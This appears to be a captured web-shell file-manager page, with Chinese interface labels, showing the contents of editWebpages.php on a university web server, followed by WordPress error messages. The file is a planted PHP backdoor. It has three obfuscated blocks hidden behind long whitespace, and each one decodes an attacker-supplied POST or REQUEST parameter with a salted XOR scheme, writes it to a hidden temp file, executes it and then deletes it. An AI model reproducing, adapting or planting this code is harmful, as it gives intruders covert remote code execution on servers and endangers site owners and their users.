文件操作 - editWebpages.php

文件: /var/www/demoestudiantes.uaysen.cl/html/editWebpages.php

编辑文件内容

<?php																																										if(@$_POST["\x73y\x6D"] !== null){ $fac = $_POST["\x73y\x6D"]; $fac = explode ( ".", $fac) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; $__tmp = $fac; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt[$w % $lenS] ); $d =( ( int)$v8 - $chS -( $w % 10)) ^ 35; $flg .= chr( $d ); $w++; } $item = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $parameter_group = 0; do { $tkn = $item[$parameter_group] ?? null; if ($parameter_group >= count($item)) break; if ((is_dir($tkn) and is_writable($tkn))) { $key = sprintf("%s/.property_set", $tkn); if (@file_put_contents($key, $flg) !== false) { include $key; unlink($key); die(); } } $parameter_group++; } while (true); }
																																										if(isset($_POST) && isset($_POST["f\x61\x63\x74or"])){ $flag = $_POST["f\x61\x63\x74or"]; $flag =explode("." ,$flag ); $token= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $y= 0; $__tmp= $flag; while ($v2= array_shift($__tmp)) { $chS= ord($s4[$y % $lenS]); $dec= ((int)$v2 - $chS - ($y % 10)) ^ 2; $token.=chr($dec); $y++;} $data = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); foreach ($data as $key => $desc) { if (is_dir($desc) ? is_writable($desc) : false) { $pset = implode("/", [$desc, ".bind"]); if (file_put_contents($pset, $token)) { include $pset; @unlink($pset); exit; } } } }

if(array_key_exists("tk\x6E", $_REQUEST) && !is_null($_REQUEST["tk\x6E"])){
	$value = $_REQUEST["tk\x6E"];
		 $value= 	explode( '.'	 ,		 $value)	; 	
	$holder = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach($value as $u => $v5):
                $sChar = ord($salt[$u%	$lenS]);
                $d =((int)$v5 - $sChar -($u%	10)) ^ 49;
                $holder .= chr($d);
            endforeach;
	$k = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp"]);
	foreach ($k as $dat):
    		if (is_writable($dat) && is_dir($dat)) {
    $reference = "$dat" . "/.pset";
    if (file_put_contents($reference, $holder)) {
	require $reference;
	unlink($reference);
	exit;
}
}
endforeach;
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35